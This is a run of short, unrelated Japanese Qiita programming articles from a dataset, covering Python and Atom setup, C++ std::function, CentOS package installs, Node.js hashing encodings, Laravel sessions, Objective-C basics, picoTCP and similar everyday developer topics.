OmniAICreator/Qiita-1.07M huggingface dataset:
AtomでPython入門（途中）

# AtomでPython入門
OSはWindows8.1で確認

## Pythonのインストール
- これからやるひとはPython (バージョン: 3.5.1) 以上をおすすめ

- インストーラのダウンロード
  1. [ここ](https://www.python.org/downloads/release/python-351/)にアクセスする
  2. 下部のWindows x86-64 web-based installerをクリックしてダウンロードする
  3. python-3.5.1-amd64-webinstall.exeを実行する
  4. Add Python 3.5 to PATHにチェックを入れ、Install Nowをクリックする
  5. Setup Progressが表示される
  6. Setup was successfulと表示され、完了したらCloseをクリックし閉じる


![python_install01.png](https://qiita-image-store.s3.amazonaws.com/0/63863/705a9049-5aa4-b8b0-09d2-7be1bcaebc76.png)
![python_install02.png](https://qiita-image-store.s3.amazonaws.com/0/63863/55af17f9-38c4-a8e2-41db-b13ef3f7e7c8.png)
    

## Atomのインストール
- Pythonのプログラムを書くためのエディタ
- インストーラのダウンロード
  1. [ここ](https://atom.io/)にアクセスする
  2. Download Windows Installerをクリック
  3. AtomSetup.exeを実行する

## パッケージのインストール
- Atomのメイン画面でCtrl+,を押し、パッケージのインストール画面を開く
- 以下のパッケージ名で検索し、インストールする
  - atom-runner
     - Atom上でPythonコードが実行できる
     - Pythonコードの実行: Alt+R
     - Pythonコードの停止: Ctrl+Shift+C
     - Pythonコードの実行ウインドウを閉じる: Esc
  - Terminal-Plus
     - Atom上でコマンドプロンプトがいじれる
     - Unix系のコマンドが使える
     - ターミナルの表示: Ctrl+`
  - autocomplete-python
     - pythonプログラムの入力候補が表示される

- 以下は任意
  - file-icons
     - アイコンがかわいくなる
  - highlight-selected
     - 選択した単語をハイライトする
  - pdf-view
     - atom上でpdfが閲覧できる
  - japanese-menu
     - 日本語のメニューになる

## Atomでプログラムを書いていく
- Ctrl+N(File->New File)でuntitledファイルが生成される
- 以下を入力し、任意の名前.py(python_test.py)で保存する

```python
str1 = "hello python"
print(str1)
```

- Alt+Rで実行する
- 次の画面が表示されればOK

![python_install03.png](https://qiita-image-store.s3.amazonaws.com/0/63863/fac32d49-d2ec-715d-ddd6-8caa39be91d5.png)

## ターミナルからPythonを実行する
- Ctrl+`　もしくは画面下の+をクリックしてターミナルを開く
- pythonと入力すればpythonが起動する
- 1 + 2などと入力すれば3という答えが返ってくる
- これであなたもプログラミングができるようになった！

## Python プログラミング
続きはあとで

## コミュニティ
- PyCon
- PyLadies Tokyo
std::functionの使い方 in C++


#機能
C++に存在する複数の種類の関数をラップして同じように扱う
C++にある関数の種類

- 関数
- ラムダ式 
- 関数オブジェクト
- クラスのメンバ関数

##ラムダ式の使い方

```g++11
[キャプチャー](引数)->返り値の型{関数の内容}(実行時の引数);
```
キャプチャーには基本的に[=]か[&]が入る
=はスコープ外の変数を利用する時コピーするという意味
&はスコープ外の変数を利用する時参照するという意味
[]{}();のように引数や返り値を省略することもできる

#使い方

```c++11
std::function< 戻り値の方(引数の型) > object = 関数or ラムダ式 or 関数オブイェクト orクラスのメンバ関数;
object(引数);で利用できる
```


#サンプル

```C++

/*
 * std_function1.cpp
 * Copyright (C) 2014 kaoru <kaoru@bsd>
 */
#include <iostream>
#include <functional>
using namespace std;
 
struct Foo {
        Foo(const int n) : i_(n) {}
        void print_add(const int n) const { std::cout << i_ + n<< std::endl; }
        int i_;
};
 
struct PrintFunctor {
        // 引数を表示するだけの関数オブジェクト
        void operator()(int i) {
                std::cout << i << std::endl;
        }
};
 
void
print_number(const int i)
{
        std::cout << i << std::endl;
}
 
int
main(int argc, char const* argv[])
{
        // 普通の関数
        std::function< void(int) > f_func = print_number;
        f_func(3);
 
        // ラムダ式
        std::function< void(int) > f_lambda = [=](int i) { print_number(i); };
        f_lambda(6);
 
        // バインド
        std::function< void() > f_bind = std::bind(print_number, 9);
        f_bind();
 
        // クラスのメンバ関数
        std::function< void(const Foo&, int) > f_member = &Foo::print_add;
        Foo foo (1);
        f_member(foo, 3);       // 1+3 = 4
 
        // 関数オブジェクト
        std::function< void(int) > f_func_obj = PrintFunctor();
        f_func_obj(11);
 
        return 0;
}
```
libmcrypt, php-mcrypt をCentOS 6.7にインストール

# 環境

```shell-session
$ cat /etc/redhat-release
CentOS release 6.7 (Final)

$ php --version
PHP 5.6.21 (cli) (built: Apr 28 2016 07:47:46) 
```

# epelからlibmcryptをインストール
```shell-session
//リポジトリリストからlibmcryptを確認
$ sudo yum --enablerepo=epel list | grep libmcrypt
//インストール
$ sudo yum --enablerepo=epel install libmcrypt

```

# remi-php56からphp-mcryptをインストール
```shell-session
//リポジトリリストからphp-mcryptを確認
$ sudo yum --enablerepo=remi-php56  list | grep mcrypt
//インストール
$ sudo yum install --enablerepo=remi-php56 php-mcrypt.x86_64 
```

# Apache再起動

```shell-session
$ sudo service httpd restart 
```

# 動作確認
phpinfo()でmcryptの項目が現れた
![スクリーンショット 2016-05-22 2.06.02.png](https://qiita-image-store.s3.amazonaws.com/0/87716/d3a0f430-98e7-598c-02ac-177402493415.png)

mcrypt系関数が動くようになった

```php:test.php
var_dump(mcrypt_list_algorithms());
```

# はまりどころ
libmcrypt → php-mycriptの順でインストールが必要だったこと。

php-mycriptのリポジトリがremiではなくremi-php56であったこと。
以前にPHPを5.3→5.6にremi-php56を使ってアップデートしていたことなど完全に忘れ去っていたので --enablerepo=remi としていた場合、依存関係の解決で、何度も怒られて手こずりました。

# 参考 - ありがとうございました

epel, remiの追加
http://qiita.com/pakiln/items/bcddcdd96e94dab96873
mcryptのインストール
http://qiita.com/YusukeHigaki/items/2df696f3cd6b4a9058b6
日本語文字列をnode.jsのcryptoでハッシュ化する時はエンコーディングを明示すべき

# 環境

- node
    - v4.4.4
    - v6.0.0

# 概要

同じ日本語を `crypto` でハッシュ化する時にencodingを指定しないと、 `v4.4.4` と `v6.0.0` で結果に違いが出るから、有無を言わず指定しておかないと後で怖い思いするかも

# 正しいHash値

```bash
echo -n "ほげえ" | sha1sum
05ac5a4890e77393c279714ea453a00bec0cd994  -
```

# :interrobang: 何も考えず node で実行すると...

```js
$ node -e "console.log(require('crypto').createHash('sha1').update('ほげえ').digest('hex'))"
12009e955051b6f293e873ef48ce3786af673cfb
```

`05ac5a4890e77393c279714ea453a00bec0cd994` != `12009e955051b6f293e873ef48ce3786af673cfb`

なぜ違うのだ...

# :white_check_mark: 解決方法

`update`関数の引数でencodingを明示的に指定する

```js
$ node -e "console.log(require('crypto').createHash('sha1').update('ほげえ', 'utf8').digest('hex'))"
05ac5a4890e77393c279714ea453a00bec0cd994
```

# 原因

v4.4.4 において `update` 関数の実装は↓

``` js
$ node -e "console.log(require('crypto').createHash('sha1').update.toString())"
function (data, encoding) {
  encoding = encoding || exports.DEFAULT_ENCODING;
  if (encoding === 'buffer' && typeof data === 'string')
    encoding = 'binary';
  this._binding.update(data, encoding);
  return this;
}
```

encodingが未指定だと、DEFAULT_ENCODING が使われている。
DEFAULT_ENCODINGには `buffer` が入っている。

```js
$ node -e "console.log(require('crypto').DEFAULT_ENCODING.toString())"
buffer
```

なので結局 ↓ を通り

```js
  if (encoding === 'buffer' && typeof data === 'string')
    encoding = 'binary';
```

`binary` エンコードとして渡ってしまう。
binaryを指定するとどうなるのか公式ドキュメント[^1]にあたってみると、

> 'binary' - A way of encoding the buffer into a one-byte (latin-1) encoded string. The string 'latin-1' is not supported. Instead, pass 'binary' to use 'latin-1' encoding.

[^1]: https://nodejs.org/dist/latest-v4.x/docs/api/buffer.html#buffer_buffers_and_character_encodings

`latin-1` エンコードに変換されるという。
つまりは、↓のようにバイトコードが変わってしまう。

```js
$ node -e "console.log(new Buffer('ほげえ', 'utf8'))"
<Buffer e3 81 bb e3 81 92 e3 81 88>
$ node -e "console.log(new Buffer('ほげえ', 'binary'))"
<Buffer 7b 52 48>
```

なので、全く別の文字列をハッシュ化したことになる。

# v6.0.0 の場合

ちなみに node.js v6.0.0 だと `utf8` を明示的にしていしなくても良いようになっている。

```js:v6.0.0の場合
$ node -e "console.log(require('crypto').createHash('sha1').update('ほげえ').digest('hex'))"
05ac5a4890e77393c279714ea453a00bec0cd994
```

v6.0.0 では実装が変わっていて、 encodingが未定義だと `exports.DEFAULT_ENCODING` がそのまま渡されるようになっている。

```js
$ node -e "console.log(require('crypto').createHash('sha1').update.toString())"
function (data, encoding) {
  encoding = encoding || exports.DEFAULT_ENCODING;
  this._handle.update(data, encoding);
  return this;
}
```

`DEFAULT_ENCODING` は `buffer` のままで変わらず。

```js
$ node -e "console.log(require('crypto').DEFAULT_ENCODING)"
buffer
```

`new Buffer('ほげえ', 'buffer')` はエラーになるので、 デフォルトのencodingを使う、という意味で、`new Buffer('ほげえ')` が渡されていると思う（想像）
デフォルトのencodingはutf8なので、v6.0.0では何も考えず日本語をハッシュ化できる。
PUIAS repository

CentOSでLyxやScalapackを入れるのに便利。
PUIAS repositoryとは？
https://springdale.math.ias.edu/
######やること

GPG-Keyのインストール

```
# cd /etc/pki/rpm-gpg/
# wget -q http://springdale.math.ias.edu/data/puias/6/x86_64/os/RPM-GPG-KEY-puias
# rpm --import RPM-GPG-KEY-puias
```

repoファイルの作成
```/etc/yum.repos.d/```に作成される

```
[PUIAS_6_addons]
name=PUIAS addons Base $releasever - $basearch
mirrorlist=http://puias.math.ias.edu/data/puias/$releasever/$basearch/os/Addons/mirrorlist
gpgcheck=1
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-puias
priority=2
```

```
[PUIAS_6_computational]
name=PUIAS computational Base $releasever - $basearch
mirrorlist=http://puias.math.ias.edu/data/puias/computational/$releasever/$basearch/mirrorlist
gpgcheck=1
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-puias
priority=2
```

prioriry=2と書いておくといいことがあるらしい。
デフォルトのrepoファイルにもpriority設定する必要？
```--disablerepo=```で無効化できる。
Rubyで特定のディレクトリ配下で○日以上古いファイルを削除する

`ActiveSupport`は`1.day`を使うためだけに読み込んでます。

```.rb
require 'active_support'
require 'active_support/core_ext'
Dir.glob('/var/foo/**/*.yml').
select{|f| File.mtime(f) < Time.now - 1.day }.
each{|f| FileUtils.rm(f)}
```

### 参考

http://stackoverflow.com/questions/14782869/finding-files-older-than-x-hours-using-ruby
SublimeTextでThymeleafの補完

https://github.com/JeroenVdb/sublime-thymeleaf

```sh
cd /Users/UserName/Library/Application\ Support/Sublime\ Text\ 3/Packages/
mkdir sublime-thymeleaf
touch Thymeleaf.py # https://github.com/JeroenVdb/sublime-thymeleaf/blob/master/Thymeleaf.py
```

これだけ！Jeroenさんありがとう！
`th:te`とかシンプルに`te`だけでも`th:text`が候補として表示される。

`th:block`が無かったので追記

```py:Thymeleaf.py
('th:block\tThymeleaf', 'th:block>')
```
AWS認定ソリューションアーキテクト　アソシエイト勉強法について

今月、AWS認定ソリューションアーキテクト-アソシエイトに合格したので、記念に記事にします。
よかったら参考にしてみてください。

## 1.書籍での勉強
以下の書籍を一通り読みました。
・[Amazon Web Services パターン別構築・運用ガイド   NRIネットコム株式会社](http://www.amazon.co.jp/dp/4797382570/ref=cm_sw_r_tw_dp_bchqxb0JE4PVH)
・[Amazon Web Services実践入門 (WEB+DB PRESS plus)   舘岡 守](http://www.amazon.co.jp/dp/4774176737/ref=cm_sw_r_tw_dp_Vchqxb00ZSPBW)


ただ読むだけではなく、実機を動かしながら勉強することをオススメします。

## 2.模擬問題
AWS公式の模擬問題を受けました。50%でした。まだまだ勉強が足らないようです…orz

## 3.AWS Black Belt Online Seminar
AWSからわかりやすいスライドが公開されていたので、読みました。
特に、以下のものは呼んでおいたほうが良いと思います。
EC2、VPC、AutoScaling、Elastic Load Balancing、Amazon Route 53、
Amazon S3、Amazon EBS、Amazon RDS、Amazon SQS、AWS Identity and Access Management（IAM）
Amazon CloudWatch

## 4.よくある質問
「3.AWS Black Belt Online Seminar」で読んだサービスについては、よくある質問も熟読しました。
ものすごく参考になるので、必見です。

## 5.qiitaで「aws 資格」で検索する
多くの方が参考になる記事を書かれています。色々読んでモチベーションを保ちつつ勉強してください。

## 6.クラスメゾットさんのブログを読む
クラスメゾットさんのブログで、AWSのサービスについて分かりやすく説明されていたので、
毎日チェックしていました。

・http://dev.classmethod.jp/

## 7.受験
本番です。無事合格しました。ただ、模擬問題より少し難易度が高く感じました。

## さいごに
本投稿は以上です、参考にしてみてください。
【Fusion360】マウスホイールクリックで平面視点移動できないときの解決方法

Mac OS X El Capitan(10.11.4)、ELECOMのマウス(M-XGL10DBシリーズ)の環境でFusion360を使用したとき、マウスホイールをクリックしながらのドラッグで平面視点移動できない現象が生じたときの対策方法です。

![名称未設定-1.png](https://qiita-image-store.s3.amazonaws.com/0/70925/2227c5c1-466a-2f81-b263-ef93b0acc4ee.png)
# 1. エレコム マウスアシスタントのアンインストール
MacでELECOMの5ボタンマウス(特にボタン4、ボタン5)を使用するにはエレコムマウスアシスタントが必要になります。しかし、エレコムマウスアシスタントで割り当てられている「中ボタン」の設定によってFusion360のホイールクリックが機能しないことが分かりました。

プルダウンメニューで割り当てを変更することもできますが、「切」にしたりカスタムキーの割り当てで「なし」に設定してもボタンそのものが機能しなくなるようで効果はありませんでした。

したがって、ここではエレコムマウスアシスタントがインストールされているかを確認し、インストールされているのであればアンインストールします。

## エレコムマウスアシスタントの確認方法
Finderからアプリケーションフォルダを選択し、[ユーティリティ]内にELECOM_Mouse_Util.appがあればインストールされています。また、ELECOM_Uninstall.appも同時にインストールされているはずなので、これを実行してアンインストールします。アンインストール後、再起動します。

# 2. Karabinerのインストール
エレコムマウスアシスタントのアンインストールでFusion360のマウスホイールクリック＋ドラッグによる平面視点移動ができるようになりましたが、このままでは5ボタンマウスのボタン4と5が使えません。そこで、[Karabiner](https://pqrs.org/osx/karabiner/index.html.ja "Karabiner")をインストールして5ボタン機能すべて使用できるようにします。

インストール方法および設定は下記の2サイトを参考にしました。ありがとうございます。
[Macで5ボタンマウスを使いたい！ | Tanweb.net](http://tanweb.net/2014/07/03/1388/)
[Macで効率良く作業を行うには「5ボタンマウス」 | iPhoneアプリ開発日記 by Clover Tecnology:](http://app-developers-clover.blogspot.jp/2015/05/mac5.html)

設定が終わったらFusion360とWEBブラウザの戻る/進むでホイールクリック、ボタン4、ボタン5が機能することを確認します。

# 3. 終わりに
私が元々Windows使いで5ボタンマウスに慣れており、最初からMagic Mouseを使っていれば見舞われなかった現象かもしれません。WEBブラウジングにおける5ボタンマウスの快適さは一度使ったらもう戻れません(Magic Mouseによるジェスチャーの方がもっと快適かもしれませんが・・・）。また、CADソフトやドローソフト全般にいえますが、視点操作の快適さは作業効率に直結します。タッチパッド＋shiftキーによる移動操作も可能ですが、利便性の点から標準機能のマウスによる操作にこだわりました。

それではよいFusion360ライフを！
生死から愛が生まれるとき教科書から恐が生まれる

UTF-8 ベースで文字同士のビット AND を取って新しい文字を作るのが流行っている。

[なんで愛が生まれるのか - Qiita](http://qiita.com/tienlen/items/44daf3a52eb872085556)

二文字から作るばかりでなく，三文字からでも作りたいよね。

```rb
puts "生死".chars.map(&:ord).inject(:&).chr("utf-8")
#=> "愛"

puts "教科書".chars.map(&:ord).inject(:&).chr("utf-8")
#=> "恐"
```


# 追記：もっと多くの例を（2016-05-24）

まず，以下の準備をしておく。

```rb
class String
  def band
    chars.map(&:ord).inject(:&).chr("utf-8")
  end
end
```

`band` とゆーメソッド名はテキトー。bit AND で複数の文字を括る（band）みたいな（？）

## 経営工学は億を生み，学問は兆を生む

```rb
puts "経営工学".band #=> "億"
puts "学問".band #=> "兆"
```

化学工学が億を生む，というのもありそうですな。

```rb
puts "化学工学".band #=> "億"
```

システムダウンなど何かトラブルがあった際に，その後始末をきちんと行うことで信頼を回復し，発展につながるということもある。

```rb
puts "善後策".band #=> "億"
```

## 渦中の人は一人だけ

```rb
puts "渦中之人".band #=> "一"
```

## 下がってもやがて上がる

```rb
puts "低下".band #=> "上"
```

## 議論することは大事だが騙されぬよう

```rb
puts "議論".band #=> "詐"
```

## 刀は10分で作れる？

```rb
puts "十分".band #=> "刀"
```

`band` で刀が作れる文字列はけっこうある。

```rb
puts "年刊".band #=> "刀"
puts "帯域制御".band #=> "刀"
```

## バイオテクノロジーもここまで来ました

```rb
puts "複製".band #=> "蠅"
```

あるいは『フライ』って SF 映画を思い出す人もいるかも。

これはどう解釈する？

```rb
puts "反応工学".band #=> "兄"
```

## 有意義な時間を過ごしてこそたのしい

```rb
puts "有意義".band #=> "愉"
```

## ひとごとだと思っておれば世は乱れ

政治，戦争，貧困，などなど。他人事だと思って関心を持たないでいると世は乱れていく。

```rb
puts "他人事".band #=> "亂"
```

これ「乱」の異体字ね。

## 編集者はさっさと仕事をしてください

```rb
puts "未校正".band #=> "怠"
```

「怠」もまたさまざまな文字列から作れる。

```rb
puts "校数".band #=> "怠"
puts "支給物".band #=> "怠"
puts "摩擦性".band #=> "怠"
```
rails block helper capture and concat

http://thepugautomatic.com/2013/06/helpers/

railscasts.com/episodes/208-erb-blocks-in-rails-3

railscasts.com/episodes/40-blocks-in-view?view=comments


https://rubyplus.com/articles/3421

http://makandracards.com/makandra/11141-fun-with-ruby-returning-in-blocks-overwrites-outside-return-values
CIDetectorを簡単に使うやつ

#これ
https://gist.github.com/noppefoxwolf/96fc42a2b3c3e518f629ad2b5e8018c7

#概要
CIDetectorは座標の変換とか、仮描画とかが面倒なのでその辺をいい感じにするやつ

#使い方

##検出する

```swift
let image = UIImage()
let faces = FaceDetector().detect(image)
```

で顔を検出する。facesはFace構造体の配列で以下のような構成

```swift
struct Face {
  private(set) var rect: CGRect!
  private(set) var mouth: CGPoint? = nil
  private(set) var leftEye: CGPoint? = nil
  private(set) var leftEyeClosed = false
  private(set) var rightEye: CGPoint? = nil
  private(set) var rightEyeClosed = false
  
  private(set) var hasSmile = false
  private(set) var faceAngle: Float? = nil
  private(set) var knownPerson = false
  
  var hasMouth:    Bool  { return mouth    != nil }
  var hasLeftEye:  Bool  { return leftEye  != nil }
  var hasRightEye: Bool { return  rightEye != nil }
  
  init(faceRect: CGRect) {
    self.rect = faceRect
  }
}
```

ここでのCGPointは普通に使える座標になっている。（上下反転してないやつ）

##顔の位置をUIImageに焼く
```
let after = FaceDetector.displayDetectedPosition(beforeImage, faces: faces)
```

<img width="320" alt="Simulator Screen Shot 2016.05.21 22.55.47.png" src="https://qiita-image-store.s3.amazonaws.com/0/24979/ae48ee7a-f8d7-49d5-0dfc-6be1757dfcac.png">

こんな感じ。
AWS SDKでSignatureDoesNotMatchがでたり、AWS CLIでRequestTimeTooSkewedがでた。原因はOS時刻遅れ


AWSのPython SDK(Boto)で以下のエラーが出たり

```
<?xml version="1.0"?><ErrorResponse xmlns="http://queue.amazonaws.com/doc/2012-11-05\
/"><Error><Type>Sender</Type><Code>SignatureDoesNotMatch</Code><Message>Signature ex\
pired: 20160521T123018Z is now earlier than 20160521T130541Z (20160521T132041Z - 15 \
min.)</Message><Detail/></Error><RequestId>2cfb54a3-b648-5c18-9e36-1b19d4a1aa41</Req\
uestId></ErrorResponse>
```

AWSのCLIで以下のエラーが出た

```
A client error (RequestTimeTooSkewed) occurred when calling the ListObjects operation: The difference between the request time and the current time is too large.
```


原因は、**OSの時刻が遅れていた**ためだった。1時間はハマった・・・

ちなみにバージョンは以下の通り
* aws-cli/1.10.32 Python/2.7.5 Linux/3.10.0-229.el7.x86_64 botocore/1.4.22
* boto (2.40.0)
話さないといけないlaravelのSessionのこと

## Sessionの保持するタイミングについて
デフォルトの実装はrequest処理中、sessionで管理した内容をresponseを返す前に保持しなくて、responseを返した直後にsessionを保持（terminateファンクション中で）する。

このやり方の問題点は次のrequest(redirectなど)がsessionの保持処理が終わる前に来ると、前のrequestで保持しようとしたsessionの内容がゲットできないので、session依存の機能がく地獄に落ちる。なぜこんな実装になっているのかは良く分からない。

自分が考えた解決案は
StartSessionを継承して、terminateファンクションを空っぽにし、セッション保持処理をhandleファンクションでする。

世の中は完璧な人がない、
世の中は完璧なコードがない、
絶対正しい知識がない、条件付きじゃないと、
真実は真実にある。

```php
use Closure;
use Illuminate\Support\Arr;
use Illuminate\Session\SessionInterface;
use Symfony\Component\HttpFoundation\Cookie;
use Symfony\Component\HttpFoundation\Response;
use Illuminate\Session\Middleware\StartSession as IlluminateStartSession;

class StartSession extends IlluminateStartSession
{
    public function handle($request, Closure $next)
    {
        $response = parent::handle($request, $next);

        if ($this->sessionHandled && $this->sessionConfigured() && !(env('APP_TYPE') == 'API')) {
            $this->manager->driver()->save();
        }

        return $response;
    }
    protected function addCookieToResponse(Response $response, SessionInterface $session)
    {
        if ($this->sessionIsPersistent($config = $this->manager->getSessionConfig())) {
            $response->headers->setCookie(new Cookie(
                $session->getName(), $session->getId(), $this->getCookieExpirationDate(),
                $config['path'], $config['domain'], Arr::get($config, 'secure', false)
            ));
        }
    }

    public function terminate($request, $response)
    {
        // Do nothing here
        // save session in handle function
    }
}
```

terminateファンクションについてのドキュメント：
https://laravel.com/docs/5.1/middleware#terminable-middleware
ソースコード: 
https://github.com/illuminate/session/blob/master/Middleware/StartSession.php

## 別の解決案
全てのsessionに格納したい値を格納した後、手動で　`Session::save()`呼ぶ方法がありますが、全て格納されているのかの判断が難しいです。laravel frameworkや、middlewareの中などでもsesssionを使う可能性があるから。
Objective-Cの基本文法まとめ

#概要
Objective-Cの基本文法をまとめていく。

# 環境
OSX El Capitan 10.11.4
Xcode 7.3

# クラスの基本

MyClass.h

```
#import <Foundation/Foundation.h>

@interface MyClass : NSObject {
    NSString* message; //メッセージを保管するプロパティ
}

-(void)setMessage:(NSString*)str; //メッセージをセットする
-(NSString*)message; //メッセージを取り出す
-(void)printMessage; //メッセージを出力する

@end
```

MyClass.m

```
#import "MyClass.h"

@implementation MyClass

-(void)setMessage:(NSString*)str{
    message = str; //strで受け取った値をセットする
}

-(NSString*)message {
    return message; //インスタンス変数を返す
}

-(void)printMessage {
    NSLog(@"%@",message); //messageはインスタンス変数なので%@で出力する

}

@end
```

main.m

```
#import <Foundation/Foundation.h>
#import "MyClass.h"

int main(int argc, const char * argv[]) {
    @autoreleasepool {
        MyClass* obj = [[MyClass alloc] init]; //インスタンスを作る
        [obj setMessage:@"Hello world"]; //メッセージをセットする
        [obj printMessage];　//メッセージを出力する
    }
    return 0;
}
```

#継承

MyClass.h

```
#import <Foundation/Foundation.h>

@interface MyClass : NSObject {

@protected
    NSString* message;

}

+(MyClass*)MyClassWithMessge:(NSString*)str;
-(void)setMessage:(NSString*)str;
-(NSString*)message;
-(void)printMessage;

@end

//継承関係はヘッダーファイルを見る必要がある
@interface PowerMyClass : MyClass {
    
@protected
    NSString* message2;

}

+(PowerMyClass*)PowerMyClassWithMessge:(NSString*)str andMessage2:(NSString*)str2;
-(void)setMessage2:(NSString*)str;
-(NSString*)message2;

@end
```

MyClass.m

```
#import "MyClass.h"

@implementation MyClass

+(MyClass*)MyClassWithMessge:(NSString*)str{
    MyClass* obj = [[self alloc] init];
    [obj setMessage:str];
    return obj;
}

-(void)setMessage:(NSString*)str{
    message = str;
}

-(NSString*)message {
    return message;
}

-(void)printMessage {
    NSLog(@"%@",message);

}

@end

@implementation PowerMyClass

+(PowerMyClass*)PowerMyClassWithMessge:(NSString*)str andMessage2:(NSString*)str2 {
    id obj = [super MyClassWithMessge:str];
    [obj setMessage2:str2];
    return obj;
}

-(void)setMessage2:(NSString*)str {
    message2 = str;
}
-(NSString*)message2 {
    return message2;
}


-(void)printMessage {
    NSLog(@"%@ %@",message, message2);
}

@end
```

main.m

```
#import <Foundation/Foundation.h>
#import "MyClass.h"

int main(int argc, const char * argv[]) {
    @autoreleasepool {
    /*
        MyClass* obj = [[MyClass alloc] init];
        [obj setMessage:@"Hello world"];
        [obj printMessage];
    */
        
        //MyClass* myClass = [MyClass MyClassWithMessge:@"hello world"];
        id myClass = [MyClass MyClassWithMessge:@"first"];
       [myClass printMessage];
        
        id myClass2 = [PowerMyClass
                       PowerMyClassWithMessge:@"second" andMessage2:@"test"];
        
        [myClass2 printMessage];
    }
    return 0;
}
```
picoTCPの実装 メインループを読む

picoTCP実装のメインループを読んでみました。

picoTCPはAltran Intelligent Systemsが開発しているTCP/IPプロトコルスタックです。

ライセンスは、独自ライセンスとGPL2のdual licenseです。

ソースコード
* https://github.com/tass-belgium/picotcp


# picoTCPのメインループ
*  [stack/pico_stack.c](https://github.com/tass-belgium/picotcp/blob/master/stack/pico_stack.c) にメインループがあります。

```c:pico_stack.c
void pico_stack_loop(void)
{
    while(1) {
        pico_stack_tick();
        PICO_IDLE();
    }
}
```
* 上記だけだと、あんまりなので、pico_stack_tick() の中身を見てみました。
* pico_stack_tick()では、ラウンドロビンで各プロトコルの処理をしています。
* 各レイヤーを順番に処理しています。
 * 物理層の受信
 * データリンク層の受信
 * ネットワーク層の受信
 * トランスポート層の受信
 * ソケット処理
 * ソケットの受信
 * ソケットの送信
 * ネットワーク層の送信
 * データリンク層の送信
 * 物理層の送信
* ラウンドロビンのパラメータ更新してます。
 
```c:pico_stack.c
void pico_stack_tick(void)
{
    static int score[PROTO_DEF_NR] = {
        PROTO_DEF_SCORE, PROTO_DEF_SCORE, PROTO_DEF_SCORE, PROTO_DEF_SCORE, PROTO_DEF_SCORE, PROTO_DEF_SCORE, PROTO_DEF_SCORE, PROTO_DEF_SCORE, PROTO_DEF_SCORE, PROTO_DEF_SCORE, PROTO_DEF_SCORE
    };
    static int index[PROTO_DEF_NR] = {
        0, 0, 0, 0, 0, 0
    };
    static int avg[PROTO_DEF_NR][PROTO_DEF_AVG_NR];
    static int ret[PROTO_DEF_NR] = {
        0
    };

    pico_check_timers();

    /* dbg("LOOP_SCORES> %3d - %3d - %3d - %3d - %3d - %3d - %3d - %3d - %3d - %3d - %3d\n",score[0],score[1],score[2],score[3],score[4],score[5],score[6],score[7],score[8],score[9],score[10]); */

    /* score = pico_protocols_loop(100); */

    ret[0] = pico_devices_loop(score[0], PICO_LOOP_DIR_IN);
    pico_rand_feed((uint32_t)ret[0]);

    ret[1] = pico_protocol_datalink_loop(score[1], PICO_LOOP_DIR_IN);
    pico_rand_feed((uint32_t)ret[1]);

    ret[2] = pico_protocol_network_loop(score[2], PICO_LOOP_DIR_IN);
    pico_rand_feed((uint32_t)ret[2]);

    ret[3] = pico_protocol_transport_loop(score[3], PICO_LOOP_DIR_IN);
    pico_rand_feed((uint32_t)ret[3]);


    ret[5] = score[5];
#if defined (PICO_SUPPORT_IPV4) || defined (PICO_SUPPORT_IPV6)
#if defined (PICO_SUPPORT_TCP) || defined (PICO_SUPPORT_UDP)
    ret[5] = pico_sockets_loop(score[5]); /* swapped */
    pico_rand_feed((uint32_t)ret[5]);
#endif
#endif

    ret[4] = pico_protocol_socket_loop(score[4], PICO_LOOP_DIR_IN);
    pico_rand_feed((uint32_t)ret[4]);


    ret[6] = pico_protocol_socket_loop(score[6], PICO_LOOP_DIR_OUT);
    pico_rand_feed((uint32_t)ret[6]);

    ret[7] = pico_protocol_transport_loop(score[7], PICO_LOOP_DIR_OUT);
    pico_rand_feed((uint32_t)ret[7]);

    ret[8] = pico_protocol_network_loop(score[8], PICO_LOOP_DIR_OUT);
    pico_rand_feed((uint32_t)ret[8]);

    ret[9] = pico_protocol_datalink_loop(score[9], PICO_LOOP_DIR_OUT);
    pico_rand_feed((uint32_t)ret[9]);

    ret[10] = pico_devices_loop(score[10], PICO_LOOP_DIR_OUT);
    pico_rand_feed((uint32_t)ret[10]);

    /* calculate new loop scores for next iteration */
    calc_score(score, index, (int (*)[])avg, ret);
}

```

# 参考
* http://www.picotcp.com/
laravel URLs helperのドキュメントにない注意点

# action() route()の三番目のparam[$absolute]
https://laravel.com/docs/5.1/helpers#urls

三番目の$absoluteのデフォルトが何とtrueになっている。　
デフォルトがtrueになってるということで、内部で自動で絶対urlが作成される。
問題なさそうに見えるが、proxy server/load balancer経由でwebサーバをアクセルする時、もしユーザがhttpsでアクセルするが、proxy server/load balancerとwebサーバ間の通信がhttpの場合、自動作成されたurlがhttpになるので、ユーザがこのurlで次のrequestをすると、proxy server/load balancerで弾かれることになる！

内部のurlの場合は、相対pathにすると、https/http問題を考慮しなくてもいいので、best praticeだと思ってます。
http://stackoverflow.com/questions/2005079/absolute-vs-relative-urls
PelicanブログにTheme追加

PelicanブログにThemeを追加します。  

[Pelican Themes](http://pelicanthemes.com)に一覧があります。  

テーマの導入として
https://github.com/duilio/pelican-octopress-theme/archive/master.zip
からすべてのテーマをダウンロードしpelicanconf.pyの  
`THEME = '使いたいテーマの場所`  
を編集すればいいのですが、

テーマを別に変えることもないし全部ダウンロードするのもめんどくさいので今回はデザインが個人的にすきなFlexを使います。  
プロジェクトディレクトリ以下で  

`git clone https://github.com/alexandrevicenzi/Flex.git ~/themes/flex`  

そして、pelicanconf.py  

`THEME = './themes/flex'`  

にします。  



あとはpelicanconf.pyをいろいろ編集すれば変えられます。  



```
.
.
.
# Blogroll
LINKS = (('リンク', 'URL'),
		('リンク', 'URL'),)

# Social widget
SOCIAL = (('github', 'GithuのURL'),
	('linkedin', 'LinkedinのURL'),
	('google', 'google+のURL'),
	('instagram', 'instagramのURL'),
	)
.
.
.
```
使えるアイコンは  

- envelope-o (for email)  
- facebook  
- github  
- github-alt  
- google  
- linkedin  
- pinterest  
- rss  
- stack-overflow  
- twitter  
- youtube  


この他にも[Font Awesome](http://fontawesome.io)にあるものだったらOK  
しかし、バックグラウンドをFlexのcssに追加しなければなりません。  
私の場合、Instagramのアイコンがなかったので追加しました。  

参考サイト
[Flex](https://github.com/alexandrevicenzi/Flex)
WindowsコマンドプロンプトでLinuxコマンドを使えるようにする

## 1. 以下のファイルを作る。

```lang:cmd_alias
cat=type $*
cp=copy $*
ls=dir $*
mv=move $*
pwd=cd $*
rm=del $*
```

置く場所は%SystemRoot%にしてみる。
例）C:\Windows

